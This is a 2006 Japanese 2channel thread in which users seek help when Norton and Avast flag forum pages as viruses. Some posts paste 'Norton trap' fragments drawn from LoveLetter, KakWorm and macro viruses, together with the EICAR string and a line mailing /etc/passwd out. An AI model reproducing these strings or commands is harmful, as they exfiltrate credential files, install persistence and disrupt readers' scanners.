ノートンがvbsウィルスのソースに誤反応３

ノートンがvbsウィル� ..

491:ひよこ名無しさん
06/03/26 13:42:57 We2xmHRt

ｽｰﾊﾟｰ競馬のﾓﾊﾞｲﾙ投票(通信費以外無料)で
【宮記念】みんなでｳｲﾝｸﾘｭｰｶﾞｰを1番人気にしよう!
ｽﾚﾘﾝｸ(keiba板)

モバイル
↓
URLﾘﾝｸ(mob.cx-keiba.jp)<)

フジテレビ１５：００～から始まるスーパー競馬で
みんなウインガー(本来はありえない人気薄の馬ｗ)に投票して
若槻千夏と福原アナのリアクション見ようぜｗｗｗ
頼むおまいら！！フジVSvip、vipperの力を見せてくれ！！！！！
　　　　　　　　　　　　　　　　　）　∩∩　(
　 ┏┓　 ┏━┓　　　　　 .）　　|.巾|　　（　　　　　.┏┓┏┓┏┓┏┓
┏┛┗┓┃ ■　┃┏━━ ノ人ヽ ━━┓┃┃┃┃┃┃┃┃
┣-　 -┫┃┏┓┃┗━━／／━＼＼━━┛┃┃┃┃┃┃┃┃
┗┓┏┛┗┛┃┃　　 Λ_Λ／　　∩∩ ＼　Λ_Λ 　 ┣┫┣┫┣┫┣┫
　 ┗┛　　　　 ┗┛　　(　´∀)　　|.┃|　　　(∀｀　) .┗┛┗┛┗┛┗┛
　　　　　　　　　　　　／　⌒＼　ノ人ニニニニニ⌒＼
　　　　　　　　　　　　/　　／＼Ｙ／　　　　　　　＼　　　＼
　　　　　　　　　　ノ　　/ ＿＿￣＿＿＿_＿＿＿　　ヽ　　　ヽ　　ノ⌒、
　　　　　ノ＾ヽ　（（　/ |||┌───┐ ⑪　|　　　|　入　Y⌒／＼）
　　　　|_/　＼`Ｙ　／　||| |ヽ(ﾟ∀ﾟ)ノ　　　.|　◎　| ／　|　/　＼／
　／／　　／＼／　　.||| |　（　 ) ヽ(ﾟ∀ﾟ).|　　　.|　─ し／＼）　　＼＼
／／／　 / ／　　　　　||| | <　< (ﾟ∀ﾟ)ﾉ　 | |||||| | ＼　　　　　　　＼　＼＼
　　　　　　　　　　　　　　　スーパー競馬

492:ひよこ名無しさん
06/03/26 14:18:37
>>490
誤反応させないようにするためじゃないの？

493:ひよこ名無しさん
06/03/26 14:20:11
>>490
本当に>>1を読んだなら理解できるはず。
簡単にまとめると、ノートンはウィルスとして動作しないものまでウィルスと判定する。
(部分的なパターン照合だけで判定するため)
ノートンのこの性質を悪用して、ノートンを反応させる文字列を2chに貼りまくるヴァカが大勢いる。
ノートン側も2ch側も対応する気はなく、ノートンユーザーが各自対策するしかない。

「手動スキャン」に限って言えば、自動で駆除／隔離しないようにして、いちいち
手動で対応してもよいなら敢えて除外しないという選択もあり。

494:ひよこ名無しさん
06/03/27 01:29:18 l0NeUula
Avastですが191の方法でも駄目です。

私だけでもないようです

524 ：名無しさん＠お腹いっぱい。：2005/06/11(土) 16:44:33
こんにちは。質問です。

２ちゃんを見てると時々ウイルスが発見されて
スレ自体が見られなくなるんですが、良い解決策があれば教えてください。

２ちゃんブラウザはギコナビ、アンチウイルスはavast!です。
発見されるウイルスはWin32:Mhtplo-26 [Trj]ってのです。

avastの設定の「例外」に
２ちゃんのlogファイルを入れてみたんですがそれでも駄目でした。

495:ひよこ名無しさん
06/03/27 01:29:55
>>494
ウイルス持って逃げろ。

496:ひよこ名無しさん
06/03/27 03:08:39 l0NeUula
意味がわかりません

497:ひよこ名無しさん
06/03/27 07:11:47
最近PCが重い！
│
├　1．PCを買い換える
│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
│　　　　［まちがい］　　　　　　　　　　　　　　　　　　　　　　　　　
│　　　　　確実な方法ではありますが、お金がかかるのが難点です。
│　　　　　それよりも別の手段を探してみませんか？
│　　　　　　ちょっとしたフリーウェアでなんとかなるかも？
│　　　　　　　　　　　　　　↑
│　　　　　　　　　　ココがポイント！
│
└　2．RegSeekerを使う

　　　　　　[せいかい]

Regseeker
URLﾘﾝｸ(www.hoverdesk.net)
RegSeeker1.3Beta日本語ファイル
URLﾘﾝｸ(downloads.at.infoseek.co.jp)

498:ひよこ名無しさん
06/03/27 15:04:09
漏れなくシステム破壊の特典あり！！！

499:ひよこ名無しさん
06/03/27 15:18:31 l0NeUula
意味がわかりません

500:ひよこ名無しさん
06/03/27 16:03:22
>>494
ここにavastユーザーはあまりこないので
誘導されたこととテンプレをよく読んで
より詳しい環境を添えて↓で聞いてください。
avast！ Anti-Virus Part41
ｽﾚﾘﾝｸ(sec板)

501:ひよこ名無しさん
06/03/27 22:43:15 l0NeUula
最初そちらに書き込もうと思ったのですが
質問できる雰囲気じゃないんです。

502:ひよこ名無しさん
06/03/28 01:04:40
>>501
新スレに移行しましたね。
avast! Anti-Virus Part43
ｽﾚﾘﾝｸ(sec板)
>>500にもありますがテンプレをよく読んで誘導されたこととより詳しい環境を添えて聞いてください。

嵐があっても見てくださる人はいます。
チャットではないので即レスは期待しないでくださいね。

邪魔が入ってスルーされたと感じて再投稿する場合や再質問する場合は最初に質問したレス番を名前欄に入れてください｡

参考に
一般的な質問の仕方
URLﾘﾝｸ(ansitu.xrea.jp)

503:ひよこ名無しさん
06/03/28 14:26:03 YrT7DvdY
502さんありがとう。
流れが相変わらず速いので機を見て質問することにします。
次回はNortonだけでなくAvastもスレのタイトルに加えてください。

504:ひよこ名無しさん
06/04/10 20:39:28 x24VBSPG
↑

505:ひよこ名無しさん
06/04/10 21:13:51 xObkN9pL
Wscript.KakWormっていうウィルスを↓のスレを見るたびに感染します。
ｽﾚﾘﾝｸ(ascii板)
(´･ω･`)ﾎﾞｽｹﾃ
ノートンさんが反応します。

506:ひよこ名無しさん
06/04/10 21:16:42
>>505
キンタマです。

507:ひよこ名無しさん
06/04/10 21:20:28
＞506
誤反応ってことですか？？

508:ひよこ名無しさん
06/04/10 21:20:58
>>507
トロイです。

509:ひよこ名無しさん
06/04/10 21:21:56
>>508
(´･ω･`)ｼｮﾎﾞﾝ

510:ひよこ名無しさん
06/04/10 21:23:26
検疫→削除で桶ですか？？

511:ひよこ名無しさん
06/04/10 21:25:47
683を除外(´･ω･`)

512:ひよこ名無しさん
06/04/10 21:27:20
>>511
初心者なもので分かりませんorz６８３とは何ですか？

513:sage
06/04/10 21:58:13 EhjrOlSY
テスト

514:ひよこ名無しさん
06/04/10 21:58:27
>>512
キンタマです。

515:ひよこ名無しさん
06/04/10 21:59:34
テスト

516:SAGE
06/04/10 22:01:07 EhjrOlSY
テスト

517:ひよこ名無しさん
06/04/10 22:02:04
テスト

518:ひよこ名無しさん
06/04/10 22:03:53
テスト

519:ひよこ名無しさん
06/04/12 21:37:07 oU4WH0fi
ｽﾚﾘﾝｸ(pachij板)
ここのすれの>>４５７のところにウイルスコードがあってあるので、
ノートンを立ち上げて、オプション→オートプロテクト→除外→新規→フォルダー？ｱｲｺﾝ→
ローカルディスク（C）→プログラムファイル→Live２ちゃん→log→money4.2ch.net→pachij→
1140536153と1140536153.idx→すべてOKで閉じ

をしたのに、相変わらず上のスレではノートンが反応します。
再度除外項目を見たのですがきちんと除外項目に入ってました。
何故反応するのでしょうか？？

520:ひよこ名無しさん
06/04/12 22:14:11 oU4WH0fi
age

521:ひよこ名無しさん
06/04/12 22:35:04
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz)" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

522:５１９
06/04/12 22:53:09 oU4WH0fi
他で聞きます。

523:ぴーこ名無しさん
06/04/13 00:07:39
>>519,522
・・・
>>1
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

ログフォルダの場所等についてはお使いの2ちゃんねるブラウザの配布サイト・ヘルプ・スレ等で確認してください。

また、これとは別にワーム誤反応対策の設定もしてね。
URLﾘﾝｸ(info.2ch.net)
２chNIS問題まとめページ
URLﾘﾝｸ(mickey.mirv.net)

524:ひよこ名無しさん
06/04/15 16:37:44
一昨日くらいからスレが見れなくなった
もちろんログ除外はしてあるのに、ノートン切ると見れる
どうして？ちなみに専ブラはギコナビ

525:ひよこ名無しさん
06/04/15 23:21:55
>>524
誤反応

526:ひよこ名無しさん
06/04/16 09:18:27
>>524
ログ除外以外にもやる事がある
>>1から読め

527:ひよこ名無しさん
06/04/17 20:53:52 Se29R1qE
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz)" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub

<body onload=window()>

528:ひよこ名無しさん
06/04/24 17:37:20 2zoSjqC7
にくちゃんねるでログ漁ってたら「ワーム検出で遮断」とかで結局目的のスレが見られないんだが諦めるしかないのかな。
htmlを拡張子の検出対象から外すのもアレだし、ワーム防止をオフにするのもあんまりよろしくなさそうなんだがね。

エロイ人でもエロくない人でも良いから詳しく知ってる人教えておくれ。

529:ひよこ名無しさん
06/04/24 20:13:42
ふーん

530:ひよこ名無しさん
06/04/30 18:51:48
>NIS2005の場合(多分NIS2006も同じ)

同じではない件に付いて

531:ぴーこ名無しさん
06/05/01 23:31:23
>>530
kwsk

532:ぴーこ名無しさん
06/05/01 23:32:01
目欄が・・・orz...........

533:ひよこ名無しさん
06/05/04 23:17:25 Gcx9i+9f
>>524と同じ症状です。
ここ１週間から出てる。

534:ひよこ名無しさん
06/05/13 05:26:57 w+9rO7hg
　　　　　　　　, -'"´ ￣｀丶､_
　　　　　　　　　 ,.∩　　　　　　　　｀ヽ
　　　　　　　　　〃∪'´￣｀二二人＼　ヽ
　　　　　　　　　| ツ´￣￣￣￣´　ヾヽ.　',
　　　　　　　　　|ﾊ　,ニ、　　,. - ､　| | | ｌ |
　　　　　　　　　| ﾊｨハ　　 ,二ヽ. | | | | |　同じ板にコピペするとそのままだけど、
　　　　　　　　　| | |　じ'　　　|トJ〉　 /)} ｌ | 違う板にコピペすると鬼のような怖い顔
　　　　　　　　　|　ﾊ　､'＿,　￣,,　厶ｲ川|　に変わる摩訶不思議な佳子様コピペ。
　　　　　　　　　l　l /＼　　　 ..　イV＼川 |
　　　　　　　　 ,'　l l　,ｲ｀ｌ￣´ ／　　 /ヽl l
　　　　　　　　ｌ　| ｌハ　`メ､　　　〃　ヽヽ､__ノ
　　　　　　　　 l　 ∨ └‐ｲ「ト--ｧ'´　　　ﾊヽ__ノ
　　　　　　　　　ヽ/　　}　 l」」　/　　　　　/ }`ー
　　　　　　　　　〈_ｎ| 八　　　/ /　　　 /ノ
　　　　　　　　　〈二二人ｃ /＼/ /　, ｲ
　　　　　　　　　　/　 /厂／＼__>＜｛＿

535:ひよこ名無しさん
06/05/13 09:57:56
　　　　　　　　, -'"´ ￣｀丶､_
　　　　　　　　　 ,.∩　　　　　　　　｀ヽ
　　　　　　　　　〃∪'´￣｀二二人＼　ヽ
　　　　　　　　　| ツ´￣￣￣￣´　ヾヽ.　',
　　　　　　　　　|ﾊ　,ニ、　　,. - ､　| | | ｌ |
　　　　　　　　　| ﾊｨハ　　 ,二ヽ. | | | | |　同じ板にコピペするとそのままだけど、
　　　　　　　　　| | |　じ'　　　|トJ〉　 /)} ｌ | 違う板にコピペすると鬼のような怖い顔
　　　　　　　　　|　ﾊ　､'＿,　￣,,　厶ｲ川|　に変わる摩訶不思議な佳子様コピペ。
　　　　　　　　　l　l /＼　　　 ..　イV＼川 |
　　　　　　　　 ,'　l l　,ｲ｀ｌ￣´ ／　　 /ヽl l
　　　　　　　　ｌ　| ｌハ　`メ､　　　〃　ヽヽ､__ノ
　　　　　　　　 l　 ∨ └‐ｲ「ト--ｧ'´　　　ﾊヽ__ノ
　　　　　　　　　ヽ/　　}　 l」」　/　　　　　/ }`ー
　　　　　　　　　〈_ｎ| 八　　　/ /　　　 /ノ
　　　　　　　　　〈二二人ｃ /＼/ /　, ｲ
　　　　　　　　　　/　 /厂／＼__>＜｛＿

536:ひよこ名無しさん
06/05/15 14:24:13
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

537:ひよこ名無しさん
06/05/19 20:06:44
保守age

538:ひよこ名無しさん
06/05/24 01:38:47 uOt5d8a9
Live2ch使ってます
NAV2003のAutoと手動の各除外にLive2chのログフォルダを指定してますが
このスレを表示すると、「VBS.LoveLetter.Var」の表示が出ます。
もちろんスレは見れない状態です。
どうすれば回避できますか？

539:ひよこ名無しさん
06/05/24 01:40:06

　　　　　　　　＿＿＿
　　　　　　／　　　　＼　　　　　＿＿＿＿＿＿＿＿
　　　　　 /　　 ´｀　　　＼　　／
　　　　　|　　　・　・　　　 |　＜おい糞元祖ぶる殿 ◆U/gDqFZzsY.急ぎでラーク買うて来い
　　　　　| 　　（● ●）　　|　　＼＿＿＿＿＿＿＿＿
　　　　　＼　　 ⊂ニ⊃　ﾉ
　　　　　　＼　⊂ニ⊃
　　　　　　　　　￣￣￣

540:ぴーこ名無しさん
06/05/24 02:15:51
>>538
ｽﾚﾘﾝｸ(software板:12番)
ログフォルダの指定を今一度確認してください。

以下の方法でウイルスの検出された場所がわかります。
検出先が2ちゃんねるブラウザのログフォルダに含まれていることを確認してね。
URLﾘﾝｸ(service1.symantec.com)
Norton AntiVirus を起動し、[レポート] を選択する。
「活動ログ」の右側に表示されているボタン、[レポートの表示] をクリックする。

541:538
06/05/24 02:24:00
>>540
グミクズがさっさと教えろや

542:538
06/05/24 03:34:43 uOt5d8a9
>>540
レスありがとうございます。
ログフォルダの指定は合っていました。
ウィルスの検出場所は、Live2ch\temp.htm、という所です。
このHTMLファイルをNAVの除外に設定すればいいんですかね？
それとも止めといたほうがいいですか？（このファイルを削除しても意味無しですよね）
よろしければレスお願いします。
>>541
ID隠して騙りは止めてね

543:538
06/05/24 03:39:57 uOt5d8a9
>>540
言い忘れました、ちなみに
Live2ch\temp.htmはログフォルダの外にあるファイルです。

544:ぴーこ名無しさん
06/05/24 04:07:14
>>542-543
こちらでも確認しました。
Live2chのスレビューはdatをtemp.htmに通して表示するので反応しているようです。
temp.htmを除外に加えたら正常に表示されました。

注意点はウイルスコードをhtmlに埋め込むことになるのでtemp.htmをIEなどのwebブラウザでは開かないでください。
また、2ちゃんねるブラウザの脆弱性を突いたウイルスコードも出る可能性もありますのでノートン本スレや
お使いの2ちゃんねるブラウザのスレを見るようにしてください。

545:ぴーこ名無しさん
06/05/24 04:18:41
>>544追記
Live2chのfaqが過去ログにありました。>>84 orz.......

参考に
ｽﾚﾘﾝｸ(software板:484-番)n dat落ち
URLﾘﾝｸ(220.254.5.211:8000) ミラー

546:538
06/05/24 04:40:48 uOt5d8a9
>>545
わざわざ再現までしていただき（しかもこんな夜中に）すみません。。。
temp.htmを除外に加えたら、無事このスレもLive2chで見る事が出来ました。
ありがとうございます！
しかも、過去ログまで探してくれたんですね、、、ありがとうございます。

547:ひよこ名無しさん
06/05/24 04:47:04
>>546
俺も暇だからよー

548:ひよこ名無しさん
06/05/24 13:46:43
>>546
俺も暇だからよー

549:cen ◆Am9xOgNMYE
06/05/30 02:32:01 BE:137160162-
こんばんは。
>>17のソフトですが、対応するスクリプトを増やしました。
それから、検索の途中で中止できるようにしました。

550:cen ◆Am9xOgNMYE
06/05/30 02:32:51 BE:114300252-
忘れてました。
こちらです。
URLﾘﾝｸ(www.geocities.jp)

551:ひよこ名無しさん
06/05/31 22:57:19
bbs.cgiが更新されて>>4のような置換がちゃんと行われるようになった模様です
今後はウィルスコード貼っても反応しなくなるのかな

552:ひよこ名無しさん
06/06/01 00:54:09
ダメですた
ｽﾚﾘﾝｸ(mnewsplus板:66番)
>>4は完全に嘘であることが判明したので
次スレから削除かな
削除するだけだと「親切にも」追記する人が現れかねないから
別のテンプレに差し替えた方がいいかな

553:cen ◆Am9xOgNMYE
06/06/01 01:06:54
>>552
>>4の置換で反応しないものもありますが、反応するものも
あります。完全に嘘というわけではないです。

554:ひよこ名無しさん
06/06/01 01:23:16
どっちにしろ置換するようになったんだから>>4は大幅書き換えが必要

555:cen ◆Am9xOgNMYE
06/06/02 01:25:51
こんばんは。
>>17のソフトですが、フォルダの設定によって検索できない場合
がありましたので、修正しました。
URLﾘﾝｸ(www.geocities.jp)

556:ぴーこ名無しさん
06/06/02 02:28:30
>>4のテンプレ案です。
単純に文字参照を抜いてみました。

ノートンが反応するのは、ここの掲示板（2ちゃんねる）の仕様です。
ここは、時に他のウィルス対策ソフトが反応する場合もあります。

断言できることは、他のWebページでノートンが反応した場合は要注意ということ。

尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
URLﾘﾝｸ(find.2ch.net)

■関連
ノートントラップ
URLﾘﾝｸ(ansitu.xrea.jp)
ノートンインターネットセキュリティ＠２ちゃんねる検索
URLﾘﾝｸ(find.2ch.net)

557:ひよこ名無しさん
06/06/02 04:54:27
>>556
Q. 2chが文字を置換しないのが悪いって聞いたんだけど
A. 情報が古いと思われます。2006年6月から置換するようになりましたが、
　問題の文字を使わなくてもノートンが誤検出する文字列は作れるので
　相変わらず反応する場合があります。

↑とか追加した方がいい。単に消すと
> 「親切にも」追記する人が現れかねないから
を防げない。

558:ぴーこ名無しさん
06/06/03 22:00:18
Q. 2ちゃんねるが文字を置換しないのが悪いって聞いたんだけど
A. 2006年6月から置換するようになりましたが、
　ノートンが誤検出する置換できないウィルスコードがあるので反応します。

　ノートンがウイルスソースに誤反応の補足
　 URLﾘﾝｸ(ansitu.xrea.jp)

ノートンが反応するのは、ここの掲示板（2ちゃんねる）の仕様です。
ここは、時に他のウィルス対策ソフトが反応する場合もあります。

断言できることは、他のWebページでノートンが反応した場合は要注意ということ。

尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
URLﾘﾝｸ(find.2ch.net)

■関連
ノートントラップ
URLﾘﾝｸ(ansitu.xrea.jp)
ノートンインターネットセキュリティ＠２ちゃんねる検索
URLﾘﾝｸ(find.2ch.net)

>>557
ﾉｼｼ
以前の説明をwikiに誘導する形にしてみました。

559:ひよこ名無しさん
06/06/04 10:03:06
u

560:ひよこ名無しさん
06/06/04 10:27:58
保守

561:ひよこ名無しさん
06/06/05 19:23:06
jane doe view使ってるんですが、
ノートントラップのウィルスコード貼られたスレ取得障害になったり、
ここのＰＣ初心者板なんかはノートン切らないと来れません。
それで対策として書かれてる見て、
ノートンアンチウィルスの手動＆オートの除外項目から、
viewのLogsフォルダを両方除外したんですが、
それでも駄目なままです。
他に何をしないといけないんでしょうか？

562:ひよこ名無しさん
06/06/05 19:44:30
ここを読み直せ

563:ひよこ名無しさん
06/06/06 18:14:41 yssu6HWa
ウィルスコードに反応したせいで、取得したログが消滅するのについては、
ログフォルダを除外すればいけるわけですが、
最近のウィルスコードは進化してて、
Autoblockで侵入感知反応してしまって、
２ｃｈの該当ＩＰをアク禁にしてしまってるようなんです。
この場合の対応はどのようにすればよいでしょうか？
ノートン切らないと、ログを取得するどころか、
スレ単位、はなはだしくは板単位でアクセスすらできません。

564:ひよこ名無しさん
06/06/06 18:17:44
>>563
リカバリしろデブ。

565:ひよこ名無しさん
06/06/06 18:30:21
どの専ブラでも基本はログと書き込みフォルダを
除外すればおｋ?

566:ぴーこ名無しさん
06/06/07 01:17:37
>>563
URLﾘﾝｸ(mickey.mirv.net)

>>565
URLﾘﾝｸ(ansitu.xrea.jp) の3番目
詳しくはお使いの2ちゃんねるブラウザのヘルプ・スレ等で確認してください。

567:ひよこ名無しさん
06/06/07 18:58:51
>>564
リカバリしろデブ。

568:<body onload=window()>
06/06/08 03:34:49
p + w * 10 <br> End Sub <br>
LOVE-LETTER-FOR-YOU

569:ひよこ名無しさん
06/06/08 03:36:10
>568

570:ひよこ名無しさん
06/06/08 04:18:57
さっきこのウィルスソースが２ちゃん掲示板に埋められてるのを見てしまったら、
ウィルスソフトは反応しなかったのですが、
いきなり２ちゃん掲示板の行間が広くなってしまいました。
ネットから接続を切って履歴とかTemporaryInternetFileとか全部削除してから
ウィルスチェックをしましたが反応なし。

これはブラウザの表示は変になったけど感染はしなかったということで大丈夫なのでしょうか？

ブラウザは専ブラじゃなくIEで、ウィルスソフトはソースネクストのウィルスセキュリティです。

571:ひよこ名無しさん
06/06/08 04:21:40
570ですが補足です。
表示したスレは
ｽﾚﾘﾝｸ(newsplus板)l50
で、ここの>>5にそのソースが書いてありました。

572:ひよこ名無しさん
06/06/08 04:23:53
>>570
行間が広くなるのはシリア語ブラクラじゃないのか？

573:ひよこ名無しさん
06/06/08 04:27:58
>>571
5の最後の行にシリア語書いてあるね

574:ひよこ名無しさん
06/06/08 04:48:56
>>572-573
レスありがとうございます。
シリア語ブラクラだと行間が広くなる以外の被害はないですか？
初めて聞いたもので＞シリア語ブラクラ

さきほど念のためもう一度ウィルスチェックしましたがウィルス発見なしでした。
ブラウザと閉じるときにInternetTemporaryFileの中身を削除する設定にしてあるのですが
こちらも念のためInternetTemporaryFileの中身も確認してみましたが
cookieファイルとfaviconファイルのみ格納されていました。
「html」「htm」がなくなってれば大丈夫ですかね？

575:ひよこ名無しさん
06/06/08 05:11:57
　　　　／￣￣￣￣￣￣￣＼　
　　　　｜ ○。　　　　　　　　｜
　　　　ﾉﾉ)　　　　　　　　　　　从
　　　( i从〓〓　　　　　　〓〓.从
　　　.从-=・=-　　　　　　-=・=-从
　　从从. 　　　　　ｌ　　　　　　从）
　　（从.ｌ∴　　　　 ∨ 　　　 ∴从人）
　（人人|∴ ヽ　.ｰ===-'　./.∴..从人）　　＜無職元祖ぶる殿 ◆U/gDqFZzsY蚤
　（人人|∴∴!　　￣　　　!∴∴ｌ从人）　　
　（人人|∴∴!.　　　　　　 !∴∴ｌ从人）　　　
　（人人|∴∴!.　　　　　　 !∴∴ｌ从人）
..（人人人＿人＿＿＿＿人＿.人人人）
〔ﾉ二二,＿＿_　　　　　　　＿＿,二二ヽ〕
　|:::::::::::::::::::::::::ヽ゜　　　゜/:::::::::::::::::::::::::/
　〉:::::::::　:::::::::::::〉__∩__〈::::::::::::::　::::::::〈　
　|:::::::::::::::::::::::／＼￣／ヽ:::::::::::::::::::::/
〔:::::::::::::::::::::/　　ノ ~ヽ　ヽ::::::::::::::::::|
ヽ:::::::::::::::::/　／:::::::::::: ＼　):::::::::::::::::::ゝ
ﾉ:::::::::::::::::::|　|_～─ー＝ - |　|～～～/

576:ひよこ名無しさん
06/06/12 11:39:57
このスレだと反応しないのは何で？

577:ひよこ名無しさん
06/06/13 14:13:25
特定のスレに擬似ウィルスコード貼り付ける奴がいて困ってます。
ノートンのauto protect と手動スキャンで、
専ブラを除外するように設定してるんですが、スレを開くとエラーになってしまいます。
URLﾘﾝｸ(ansitu.xrea.jp)
このサイトに書かれてる、信頼のアドレスを追加の設定はしました。

エラーのログを取得して、弾かれて、
有志さんの誤反応無効化スクリプトで書き換えて、
時間たつのまってから閲覧。しかもレス番はズレでわけわかめ
という状態です。
何かうまく弾く方法はないんでしょうか？

578:ひよこ名無しさん
06/06/13 20:49:00
>>577
きちんと専ブラのログを除外する

579:577
06/06/14 13:32:40
>>578
僕の分かるように１～１０までしっかりすべてと教えて下さい。

さっさと、教えろボケこのやろう
　　　　　　　　　　　　　　 ∧＿∧
　　,,,,,,,,,,,,,,,∧,,∧　　　　（　´∀｀）　＼
～′,,,,,,,,,,ミ,,ﾟДﾟ彡　　　/　　つ℃━━━━━━
　　UU""""U U　　　～(_つ　つ　　　　＼へへ＿　　　　　　　｜
――――――――｜　　　　　　　　.　　｜
　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　｜
　　　　　　　　　　　　　　　　　　　　　　　｜へ＿＿　　　　.　　｜
　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　｜
へ＿＿＿＿へ＿＿/＿＿＿へへ＿＿へ＿＿＿＿＿＿　　｜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（（　｜　））
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜～～～ヽ｀∀´>ヾ〕∈

580:ひよこ名無しさん
06/06/17 22:54:14
>>2ё

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

581:ひよこ名無しさん
06/06/18 17:52:54 k4PxNBCi
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
